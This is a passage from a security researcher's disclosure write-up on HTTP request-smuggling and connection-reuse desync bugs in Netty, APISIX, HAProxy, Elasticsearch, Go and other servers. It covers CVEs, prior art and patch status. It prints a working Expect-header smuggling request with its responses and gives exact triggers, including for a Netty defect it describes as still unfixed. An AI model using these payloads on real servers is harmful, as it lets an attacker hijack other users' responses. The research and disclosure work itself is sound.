connection. Three controls at zero: backend KeepAlive Off, plugin
keepalive: false, and a native proxy_pass route, where nginx reframes the
body itself. The backend’s own access log carries it on one socket, kacount=0
for the POST and kacount=1 for the smuggled GET /slow, followed by the
victim’s GET /fn. The victim container, at a different address, received
ATTACKER_SMUGGLED_MARKER in place of its own FUNCTION_OK.
I reported it as CVE-2026-74848, fixed in 3.18.0 and affecting 2.12.0 through
3.17.0.
4. Reset-with-debt
Parser state cleared on an error path while the connection still holds the previous request’s bytes, handing the next parse a buffer that starts mid-body.
Netty’s HttpObjectAggregator, GHSA-wg54-m423-h45r, fires
HttpExpectationFailedEvent when a request carries an unsupported
expectation (HttpObjectAggregator.java:164), and
HttpObjectDecoder.userEventTriggered calls reset() on that event while the
decoder is in body-reading state (HttpObjectDecoder.java:634-641). The next
decode runs resetNow(), which clears the message, the content length, the
chunked flag and both parsers, then sets
currentState = SKIP_INITIAL_LINE_CHARS. The input ByteBuf is never
touched.
The shape is a POST /upload carrying an unsupported Expect, a header that
asks the server to approve a request before the client sends the body, so an
unknown value is refused while the body is still unread. Its declared 57 body
bytes are exactly one complete request:
POST /upload HTTP/1.1
Expect: bogus-expectation-99
Content-Length: 57
Connection: keep-alive
GET /slow-marker?d=0&m=328966520001 HTTP/1.1
Host: h
Two status lines come back for the one request line written:
HTTP/1.1 417 Expectation Failed
content-length: 0
HTTP/1.1 200 OK
X-Probe2-Route: SMUGGLED
X-Probe2-Uri: /slow-marker?d=0&m=328966520001attacker bytes that originated with the attacker
10 of 10 on 4.2.16.Final and 10 of 10 on 4.1.135.Final, where
userEventTriggered is byte-identical across the two versions. Remove the
Expect header and it is 0 of 10.
The second response reaches a different client. The flag that looks like the fix does not stop it, and Elasticsearch.
The same Netty case again, this time behind HAProxy with http-reuse always.
The second of those two responses is delivered to a different client’s
connection, not merely to a later request on the same one. One desync queues
one surplus response, so exactly one later client reads it: against twenty
sequential victims, one got the attacker’s marker and nineteen got their own.
Which client is hit is decided by the pool, not by Netty. Across the 60
attacker and victim pairs in the six http-reuse always cells, all 53 that
shared a backend socket crossed and none of the 7 whose victim was leased a
different socket did. With http-reuse never nothing crosses at all, on 21
transactions over 21 distinct backend sockets in each of two cells.
Why closeOnExpectationFailed is not the fix. It is the flag to reach for
here, and the name invites it. With the flag read back off the live handler as
true, the client sees 0 of 10 second responses, and the application handler
still ran for the attacker’s request line 10 of 10 times, printed by the server
itself. The flag gates the socket close,
not the reset: the aggregator returns closeOnExpectationFailed && ignoreContentAfterContinueResponse(msg), evaluated after the event has already
fired. HttpServerUpgradeHandler cannot be given the flag at all: its only
super() call is super(maxContentLength), which delegates to
this(maxContentLength, false). A pipeline that handles upgrades through that
class is fixed at false, so not even the socket close is available to it.
Elasticsearch CVE-2026-78605 reaches the same reset through an independent
call site, Netty4HttpContentSizeHandler, which decides on the declared
length. A 637-byte probe with Content-Length: 104857601 against the default
100 MiB limit produced 413 → 200 → 200 on 9.4.3, 12 of 12, with both trailing
responses carrying the attacker’s own X-Opaque-Id values. Removing the
Expect line gives 0 of 12. On 9.4.5 the reset call site is absent from the
shipped bytecode and the 413 arrives with connection: close: 0 of 12.
The shipped comment beside that reset says the content “will result in
HttpRequestDecoder failure”. It does not. It is parsed as a request line.
What did not reproduce
Eighteen of nineteen backend configurations were clean: 0 residues across their 546 trials. Most implementations get this right, and that belongs on the page next to the cases above, because “connection reuse is broken” is not the claim. I measured 19 configurations across 14 server products for bytes left sitting in the receive buffer after an early response, and all but one either drained the declared body or closed the connection.
The exception is CPython’s http.server, and only at a non-default flag.
python -m http.server --protocol HTTP/1.1 left the body owed in 10 of 25
trials, meaning bytes were still sitting unread in its receive buffer when the
next request should have started, 10 of 10 on GET and HEAD, with the
connection closed on
POST and on a 404. The shipped HTTP/1.0 default is 0 of 25. CPython’s
documentation says http.server is not for production use.
The whole measurement is 571 trials: the 546 above, plus the 25 HTTP/1.1 trials on CPython, which carry all 10 of the residues.
Prior art, and where these four sit
The notation this field uses, CL.TE and TE.CL and the derivatives TE.0, 0.CL
and H2.CL, describes which two parties disagree about where a body ends. The
first term is the header the front end believes and the second is the one the
back end believes, with 0 meaning that end reads no body at all. That
is a different axis from the one here. In the CONNECT case no parser disagrees
with another: Apache’s reading of those 88 bytes is correct, and Caddy never
formed a reading at all.
The label does stretch this far. OpenWrt’s uhttpd advisory,
GHSA-c2wg-hcff-hqrm, is titled “pre-auth HTTP request smuggling (CL.0),
keep-alive connection reused with an unread request body” and calls it a
textbook CL.0 desync. PortSwigger’s own material reaches the same mechanism
from the other side: its “Eliciting CL.0 behavior” section notes that some
servers answer a header-triggered error without consuming the body off the
socket, and that leaving the connection open afterwards is an alternative CL.0
vector. So the difference is emphasis rather than kind. CL.0 is written about
a back end that can be persuaded to ignore Content-Length, and treats the
unconsumed body as one way to elicit that. These four start from the other
end: the component that finishes a request and reuses the connection without
accounting for the bytes it wrote, read or announced.
Pre-grant write has one close relative that runs in the opposite
direction. h2c smuggling needs the transition to succeed, so a proxy stops
inspecting a connection it believes is a tunnel. This needs the grant to be
absent, which is not the same as the request failing: Cloudflare records the
Pingora case working even where the backend declines the upgrade with a
200.
WebSocket smuggling is on the same side as this family rather than the
opposite one: in Egorov’s write-up the backend refuses the upgrade with a
426 and there is no WebSocket connection at all. Cloudflare’s Pingora fix
names the pre-grant case directly. CVE-2026-2833 is “HTTP Request Smuggling
via Premature Upgrade”, and Cloudflare’s own write-up heads that section
“Premature upgrade without 101 handshake” and credits me by name. I wrote the
Pingora work up separately in 2026, in
Breaking Pingora: three smuggling bugs under two
CVEs, CVE-2026-2833 and CVE-2026-2835, and a cache-poisoning one,
CVE-2026-2836.
Unproven-drain reuse borders pause-based desync, and the boundary is the
trigger. Pause-based desync starts with a server timing out a request and
leaving the connection open. Here nothing times out: the component reaches its
reuse decision normally and answers it from something other than the body
having been read. Browser-powered desync
is PortSwigger’s umbrella term for desync attacks that a browser can trigger.
It includes all client-side desyncs and some server-side ones; I did not
establish browser-triggerability for the cases here. An advisory from December
2020 states this server-side mechanism exactly, CVE-2020-26281 in async-h1,
“request smuggling possible with long unread bodies”, without giving it a
name.
Promise-credited framing has a named relative in the pass-through case,
H2.CL and H2.TE, where a proxy forwards a client’s Content-Length or
Transfer-Encoding without verifying it. HAProxy’s case above has no Content-Length at all; the chunked
framing is HAProxy’s own, computed from a frame-header promise. APISIX’s case
does forward a client header, a Transfer-Encoding, but nginx has de-chunked
the body underneath it, so the header no longer describes what is sent.
Reset-with-debt overlaps a named class at one trigger. The Expect variant
is expect-based desync, from PortSwigger’s 2025 work. The triggers measured
above are a size rejection and an unsupported expectation reaching a decoder
that is already reading a body, which is the same mechanism arrived at
differently.
I looked for a trigger that reaches the same reset() without an Expect
header, because that would separate the two by measurement rather than by
reading the call site. There is none in these versions. Across 372 attempts
carrying no Expect header, over four product and limit combinations against
Netty 4.2.16.Final, Netty 4.1.135.Final and Elasticsearch 9.4.3, the reset was
never requested once: every one of them drew a 413, and no origin’s own log
recorded a smuggled request. The Expect controls, driven direct to the origin,
reached it 150 of 150 on Netty, and on Elasticsearch 12 of 12 with Expect: 100-continue against an
oversize declared length but 0 of 12 with an unsupported expectation, which it
answers 417 and closes in the same statement before the reset can run.
The bytecode says why, and it is sharper than the status codes suggest. The
two 413s come from different methods. continueResponse fires
HttpExpectationFailedEvent on both of its failure branches, the 417 one
and the 413 one, and in the shipped jar HttpObjectDecoder.userEventTriggered
is the only caller of its public reset(), which it reaches only when the
decoder sits in READ_FIXED_LENGTH_CONTENT, READ_VARIABLE_LENGTH_CONTENT or
READ_CHUNK_SIZE. handleOversizedMessage answers 413 and never fires that
event at all. Its caller in MessageAggregator sets a flag that eats the
surplus as declared body and starves the next request rather than reparsing
it. Same status, different door. So the separation from
expect-based desync is not only a reading of the call site; on these versions
it is measured.
One of my own cases is an instance of a known class and I am not renaming it.
A strtoul radix issue where Content-Length: 0100 is decimal to one party
and octal to another is CL.CL, since both ends read the same header and
disagree about its value.
Disclosure
The client-side CONNECT defect is CVE-2026-56866, credited in GO-2026-6605,
fixed in Go 1.26.9 and 1.27.2. The server-side one Go declined as a security
issue and classified as hardening; its change is in go1.27.0 and has not been
backported, so the 1.26 line has no release that removes it.
Traefik’s is CVE-2026-71324, fixed in 2.11.53, 3.6.24 and 3.7.9, and Envoy’s
is CVE-2026-73548. Both advisories are published and credit me. HAProxy’s
is CVE-2026-90678 and Elasticsearch’s is CVE-2026-78605; those two and
APISIX were fixed through their own venues, APISIX as CVE-2026-74848 in
3.18.0. The Caddy report was dismissed.
Jetty accepted its HTTP/3 case as a bug and closed the advisory two days after
I filed it, with no CVE. Two advisories are still in triage and have stopped
moving, and they are not in the same state underneath.
GHSA-8xjx-55xw-h6h6 on nghttpx has been untouched since 20 May 2026, but the
defect itself is fixed and shipped, which I confirmed by running the attack
against the release. GHSA-wg54-m423-h45r on Netty has not been edited since
the day I filed it on 14 July 2026, and neither the event in
HttpObjectAggregator nor the reset in HttpObjectDecoder has changed on
either maintained branch. Both are past the 90 days I gave them. Only the
Netty defect is still live.
A further set of findings in these families is under coordinated disclosure. I will publish that part when the windows close.